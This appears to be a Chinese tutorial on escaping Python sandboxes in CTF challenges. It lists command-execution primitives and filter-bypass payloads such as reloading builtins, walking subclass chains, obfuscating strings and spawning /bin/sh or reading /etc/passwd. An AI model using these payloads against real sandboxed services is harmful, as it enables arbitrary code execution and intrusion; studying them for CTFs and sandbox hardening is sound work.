前置知识

  • 常见的方法

    • init:对象的初始化方法,在创建对象的时候调用
    • repr:返回对象的官方字符串表达式
    • str:返回对象的非正式或友好字符串表达式
    • len:返回对象长度
    • getitem:获取对象指定键的值
    • setitem:设置对象指定键的值
    • delitiem:删除对象指定键的值
    • iter:返回一个迭代器对象
    • contains:检查对象是否包含指定元素
    • call:实例对象作为函数调用时调用
    • base:返回当前类的基类
    • subclasses:查看当前子类的组成列表
    • builtins:以一个集合形式查看其作用
    • globals:返回所有全局变量的函数
    • locals:返回所有局部变量的函数
    • chr、ord:字符与ascll码转换函数
    • dir:查看对象属性和方法
  • 基础payload:

    • python导入模块的方法

      • import xxx
      • from xxx import
      • import(‘xxx’)
    • eval、exec

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      eval(expression[, globals[, locals]])
      exec(expression[, globals[, locals]])
      '''
      用法基本相似,
      expression执行表达式,
      globals全局变量(必须字典),
      locals局部变量(任意mapping object,一般是字典)
      不同点:
      eval将表达式计算出来,结果返回,不会影响当前环境
      exec将表达式作为py语句运行,可以进行赋值等操作(题目中不常见)
      eval 与 exec 的区别再于 exec 允许 \n 和 ; 进行换行,而 eval 不允许。并且 exec 不会将结果输出出来,而 eval 会。
      '''
    • compile函数:该函数是一个内置函数,可以将源码编译为代码或者ast对象

      1
      2
      3
      4
      5
      6
      compile(source, filename, mode, flags=0, dont_inherit=False, optimize=-1)
      source:要编译的源代码。它可以是普通的 Python 代码,或者是一个 AST 对象。如果它是普通的 Python 代码,那么它必须是一个字符串。
      filename:源代码的文件名。如果源代码没有来自文件,你可以传递一些可识别的值。
      mode:源代码的种类。可以是 ‘exec’,’eval’ 或 ‘single’。’exec’ 用于模块、脚本或者命令行,’eval’ 用于简单的表达式,’single’ 用于单一的可执行语句。
      flags 和 dont_inherit:这两个参数用于控制编译源代码时的标志和是否继承上下文。它们是可选的。
      optimize:用于指定优化级别。默认值为 -1
  • 常见模块

    • timeit模块

      1
      2
      import timeit
      timeit.timeit("__import__('os').system('ls')",number=1)
    • exec函数

      1
      exec('__import__("os").system("ls")')
    • eval函数

      1
      eval('__import__("os").system("ls")')

      eval无法直接达到执行多行代码的效果,使用compile函数传入exec模式就能够实现

      1
      eval(compile('__import__("os").system("ls")', '<string>', 'exec'))
    • platform模块

      1
      2
      3
      import platform
      platform.sys.modules['os'].system('ls')
      platform.os.system('ls')
    • os模块

      • os.system

        1
        os.system('ls')
      • os.popen

        1
        os.popen("ls").read()
      • os.posix_spawn

        1
        2
        os.posix_spawn("/bin/ls", ["/bin/ls", "-l"], os.environ)
        os.posix_spawn("/bin/bash", ["/bin/bash"], os.environ)
      • os.exec

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        18
        19
        20
        21
        22
        23
        24
        25
        26
        27
        28
        29
        30
        os.execl('/bin/sh', 'xx')
        __import__('os').execl('/bin/sh', 'xx')

        # os.execle
        os.execle('/bin/sh', 'xx', os.environ)
        __import__('os').execle('/bin/sh', 'xx', __import__('os').environ)

        # os.execlp
        os.execlp('sh', 'xx')
        __import__('os').execle('/bin/sh', 'xx', __import__('os').environ)

        # os.execlpe
        os.execlpe('sh', 'xx', os.environ)
        __import__('os').execlpe('sh', 'xx', __import__('os').environ)

        # os.execv
        os.execv('/bin/sh', ['xx'])
        __import__('os').execv('/bin/sh', ['xx'])

        # os.execve
        os.execve('/bin/sh', ['xx'], os.environ)
        __import__('os').execve('/bin/sh', ['xx'], __import__('os').environ)

        # os.execvp
        os.execvp('sh', ['xx'])
        __import__('os').execvp('sh', ['xx'])

        # os.execvpe
        os.execvpe('sh', ['xx'], os.environ)
        __import__('os').execvpe('sh', ['xx'], __import__('os').environ)
      • os.spawnv

        1
        os.spawnv(0,"/bin/ls", ["/bin/ls", "-l"])
      • os.fork() with os.exec()

        1
        (__import__('os').fork() == 0) and __import__('os').system('ls')
    • subprocess模块

      • python2

        • subprocess.call

        • subprocess.check_call

        • subprocess.check_output

        • subprocess.popen

          1
          2
          3
          4
          subprocess.call('whoami', shell=True)
          subprocess.check_call('whoami', shell=True)
          subprocess.check_output('whoami', shell=True)
          subprocess.Popen('whoami', shell=True)
      • python3

        • subprocess.run

        • subprocess.getoutput

        • subprocess.getstatusoutput

        • subprocess.call

        • subprocess.check_call

        • subprocess.check_output

        • subprocess.popen

          1
          2
          3
          4
          5
          6
          7
          8
          subprocess.run('whoami', shell=True)
          subprocess.getoutput('whoami')
          subprocess.getstatusoutput('whoami')
          subprocess.call('whoami', shell=True)
          subprocess.check_call('whoami', shell=True)
          subprocess.check_output('whoami', shell=True)
          subprocess.Popen('whoami', shell=True)
          __import__('subprocess').Popen('whoami', shell=True)
      • pty模块

        • pty.spawn(仅限linux环境)

          1
          2
          3
          import pty
          pty.spawn("ls")
          __import__('pty').spawn("ls")
      • importlib模块

        1
        2
        3
        4
        import importlib
        __import__('importlib').import_module('os').system('ls')
        # Python3可以,Python2没有该函数
        importlib.__import__('os').system('ls')
      • sys模块(该模块通过modules()函数获取os模块并执行命令)

        1
        2
        import sys
        sys.modules['os'].system('calc')
      • builtins的利用

        • 是一个 builtins 模块的一个引用,其中包含 Python 的内置名称。这个模块自动在所有模块的全局命名空间中导入。当然我们也可以使用 import builtins 来导入
        • 它包含许多基本函数(如 print、len 等)和基本类(如 object、int、list 等)。这就是可以在 Python 脚本中直接使用 print、len 等函数,而无需导入任何模块的原因
      • help函数

        • 这个函数可以打开帮助文档,索引到os模块之后可以打开sh
      • breakpoint函数

        • pdb 模块定义了一个交互式源代码调试器,用于 Python 程序。它支持在源码行间设置(有条件的)断点和单步执行,检视堆栈帧,列出源码列表,以及在任何堆栈帧的上下文中运行任意 Python 代码。它还支持事后调试,可以在程序控制下调用。在输入 breakpoint() 后可以代开 Pdb 代码调试器,在其中就可以执行任意 python 代码
      • ctypes模块

        1
        __import__('ctypes').CDLL(None).system('ls /'.encode())
      • threading模块(利用新的线程来执行函数)

        1
        2
        3
        4
        5
        # eval, exec 都可以执行的版本
        __import__('threading').Thread(target=lambda: __import__('os').system('ls')).start()

        # exec 可执行
        import threading, os; threading.Thread(target=lambda: os.system('ls')).start()

常见的绕过方法

绕过删除模块或方法

  • 在一些沙箱中,可能会对某些模块或者模块的某些方法使用del关键字进行删除

    1
    2
    3
    4
    5
    6
    7
    >>> __builtins__.__dict__['eval']
    <built-in function eval>
    >>> del __builtins__.__dict__['eval']
    >>> __builtins__.__dict__['eval']
    Traceback (most recent call last):
    File "<stdin>", line 1, in <module>
    KeyError: 'eval'
  • reload重新加载:该函数可以重新加载模块,这样被删除的函数能被重新加载(在py3,reload()函数被移动到importlib模块中,所以如果要是有reload()函数,首先要导入importlib模块)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    >>> __builtins__.__dict__['eval']
    <built-in function eval>
    >>> del __builtins__.__dict__['eval']
    >>> __builtins__.__dict__['eval']
    Traceback (most recent call last):
    File "<stdin>", line 1, in <module>
    KeyError: 'eval'
    >>> reload(__builtins__)
    <module '__builtin__' (built-in)>
    >>> __builtins__.__dict__['eval']
    <built-in function eval>
  • 恢复sys.modules

    • 一些过滤中可能将sys.modules[‘os’]进行修改,这个时候即使将os模块导入,也是无法使用的

      1
      2
      3
      4
      5
      >>> sys.modules['os'] = 'not allowed'
      >>> __import__('os').system('ls')
      Traceback (most recent call last):
      File "<stdin>", line 1, in <module>
      AttributeError: 'str' object has no attribute 'system'
    • 由于很多别的命令执行库也是有到了os,因此也会收到相应的影响,例如subprocess

      1
      2
      3
      4
      5
      6
      7
      8
      >>> __import__('subprocess').Popen('whoami', shell=True)
      Traceback (most recent call last):
      File "<stdin>", line 1, in <module>
      File "/home/kali/.pyenv/versions/3.8.10/lib/python3.8/subprocess.py", line 688, in <module>
      class Popen(object):
      File "/home/kali/.pyenv/versions/3.8.10/lib/python3.8/subprocess.py", line 1708, in Popen
      def _handle_exitstatus(self, sts, _WIFSIGNALED=os.WIFSIGNALED,
      AttributeError: 'str' object has no attribute 'WIFSIGNALED'
    • 由于import导入模块的时候会检查sys.modules中是否已经存在这个类,如果有则不加载,如果没有则加载。因此我们只需要奖os模块删除然后再次导入就可以

      1
      2
      3
      4
      5
      sys.modules['os'] = 'not allowed' # oj 为你加的

      del sys.modules['os']
      import os
      os.system('ls')
  • 继承链获取:在清空builtins的情况下,我们也可以通过索引subclasses来找到这些内建函数

    1
    2
    3
    # 根据环境找到 bytes 的索引,此处为 5
    >>> ().__class__.__base__.__subclasses__()[5]
    <class 'bytes'>

绕过基于字符串匹配的绕过

  • 字符串变换

    • 字符串拼接:在我们的payload中,像builtins、file这样的字符串如果被过滤了,就可以使用字符串拼接来进行绕过

      1
      2
      3
      ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('E:/passwd').read()

      ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__buil'+'tins__']['fi'+'le']('E:/passwd').read()
    • base64变形

      1
      2
      3
      4
      5
      6
      >>> import base64
      >>> base64.b64encode('__import__')
      'X19pbXBvcnRfXw=='
      >>> base64.b64encode('os')
      'b3M='
      >>> __builtins__.__dict__['X19pbXBvcnRfXw=='.decode('base64')]('b3M='.decode('base64')).system('calc')
    • 逆序

      1
      2
      3
      4
      >>> eval(')"imaohw"(metsys.)"so"(__tropmi__'[::-1])
      kali
      >>> exec(')"imaohw"(metsys.so ;so tropmi'[::-1])
      kali
    • 进制转换:八进制、十六进制

      1
      2
      3
      exec("print('RCE'); __import__('os').system('ls')")
      exec("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145\155\50\47\154\163\47\51")
      exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x6c\x73\x27\x29")
    • 其他编码:hex、rot13、base32

过滤了属性名或者函数名

  • getattr函数

    • 该函数是python的内置函数,用于获取一个对象的属性或者方法

      1
      2
      getattr(object, name[, default])
      object是对象,name是字符串,代表要获取的属性的名称
    • payload

      1
      2
      3
      4
      5
      6
      7
      8
      >>> getattr({},'__class__')
      <class 'dict'>
      >>> getattr(os,'system')
      <built-in function system>
      >>> getattr(os,'system')('cat /etc/passwd')
      root:x:0:0:root:/root:/usr/bin/zsh
      >>> getattr(os,'system111',os.system)('cat /etc/passwd')
      root:x:0:0:root:/root:/usr/bin/zsh
  • getattribute函数

    • 该函数定义了当我们获取一个对象的属性时应该进行的操作

      1
      2
      class MyClass:
      def __getattribute__(self, name):
    • getattr函数在调用的时候,实际上调用的是这个类的getattribute函数

      1
      2
      3
      4
      >>> os.__getattribute__
      <method-wrapper '__getattribute__' of module object at 0x7f06a9bf44f0>
      >>> os.__getattribute__('system')
      <built-in function system>
  • getattr函数

    • 该函数是python的一个特殊方法,当尝试访问一个对象的不存在的属性的时候,它就会被调用,它允许一个对象动态地返回一个属性值,或者抛出一个异常

      1
      2
      3
      class Myclass
      def __getattr__(self, name):
      return 'You tried to get ' + name
    • 与getattribute不同,该函数只有在属性查找失败的时候才会被调用,这使得getattribute可以用来更为全面地控制属性访问

    • 如果在一个类中同时定义了getattr和getattribute,那么无论属性是否存在,getattribute都会被首先调用。只有当getattribute抛出异常的时候getattr才会被调用

    • 所有类都会有getattribute属性,不一定有getattr属性

  • globals替换

    • globals可以直接使用func_globals进行替换
  • 一些替换

    • mro、bases、base三者可以直接替换
  • 过滤import

    • 使用__import__替换

      1
      __import__('os')
    • 使用importlib.import_module(但是该模块也需要导入)

      1
      2
      import importlib
      importlib.import_module('os').system('ls')
    • 使用loader.load_moudle(如果使用audithook的方法进行过滤,上面两种方法就无法使用,但是该模块的底层代码和import不同,因此在某些方式无法进行绕过)

      1
      __loader__.load_module('os')
  • 过滤了[]

    • 调用getitem函数直接进行替换

      1
      2
      3
      ''.__class__.__mro__[-1].__subclasses__()[200].__init__.__globals__['__builtins__']['__import__']('os').system('ls')

      ''.__class__.__mro__.__getitem__(-1).__subclasses__().__getitem__(200).__init__.__globals__.__getitem__('__builtins__').__getitem__('__import__')('os').system('ls')
    • 调用pop函数

      1
      ''.__class__.__mro__.__getitem__(-1).__subclasses__().pop(200).__init__.__globals__.pop('__builtins__').pop('__import__')('os').system('ls')
  • 过滤了’’

    • str函数替换

      1
      2
      3
      4
      5
      6
      7
      8
      >>> ().__class__.__new__
      <built-in method __new__ of type object at 0x9597e0>
      >>> str(().__class__.__new__)
      '<built-in method __new__ of type object at 0x9597e0>'
      >>> str(().__class__.__new__)[21]
      'w'
      >>> str(().__class__.__new__)[21]+str(().__class__.__new__)[13]+str(().__class__.__new__)[14]+str(().__class__.__new__)[40]+str(().__class__.__new__)[10]+str(().__class__.__new__)[3]
      'whoami'
    • chr函数

      1
      2
      3
      4
      5
      6
      >>> chr(56)
      '8'
      >>> chr(100)
      'd'
      >>> chr(100)*40
      'dddddddddddddddddddddddddddddddddddddddd'
    • list+dict:使用这两个函数进行配合可以将变量名转化为字符串,但这种方式要求字符串中不能存在空格

      1
      list(dict(whoami=1))[0]
    • doc:改变量可以获取到类的说明信息,从其中索引处想要的字符串然后进行拼接

      1
      2
      ().__doc__.find('s')
      ().__doc__[19]+().__doc__[86]+().__doc__[19]
    • bytes函数:该函数可以接收一个ascii列表,然后转换为二进制字符串,在调用decode就可以得到字符串

      1
      bytes([115, 121, 115, 116, 101, 109]).decode()
  • 过滤+

    • 使用join和str结合

      1
      str().join(().__doc__[19],().__doc__[23])
  • 过滤了数字

    • 使用一些函数的返回值获取(有了0之后,其他数字可以通过运算进行获取)

      1
      2
      0int(bool([]))、Flase、len([])、any(())
      1int(bool([""]))、Trueall(())、int(list(list(dict(a၁=())).pop()).pop())
    • 使用repr来获取一些比较长的字符串,然后使用len获取大整数

      1
      2
      3
      4
      >>> len(repr(True))
      4
      >>> len(repr(bytearray))
      19
    • 使用len+dict+list来构造

      1
      2
      3
      0 -> len([])
      2 -> len(list(dict(aa=()))[len([])])
      3 -> len(list(dict(aaa=()))[len([])])
    • 使用unicode绕过

  • 过滤空格:使用()、[]替换

  • 过滤了()

    • 使用装饰器@
    • 使用魔术方法,例如enum.EnumMeta.getitem
  • f字符串执行

    1
    2
    3
    4
    >>> f'{__import__("os").system("whoami")}'
    kali
    '0'
    >>> f"{__builtins__.__import__('os').__dict__['popen']('ls').read()}"
  • 过滤内建函数

    • 使用eval+list+dict构造

      1
      2
      >>> eval(list(dict(s_t_r=1))[0][::2])
      <class 'str'>
  • 过滤.和,

    • 使用内建函数

      1
      2
      >>> eval(list(dict(s_t_r=1))[0][::2])
      <class 'str'>
    • 模块内的函数可以先使用import导入函数,然后使用vars进行获取

      1
      2
      >>> vars(__import__('binascii'))['a2b_base64']
      <built-in function a2b_base64>
  • 绕过命名空间限制

    • 部分限制:有些沙箱在构建的时候使用exec来执行命令,exec函数的第二个参数可以指定命名空间,通过修改、删除命名空间中的函数则可以构建一个沙箱

参考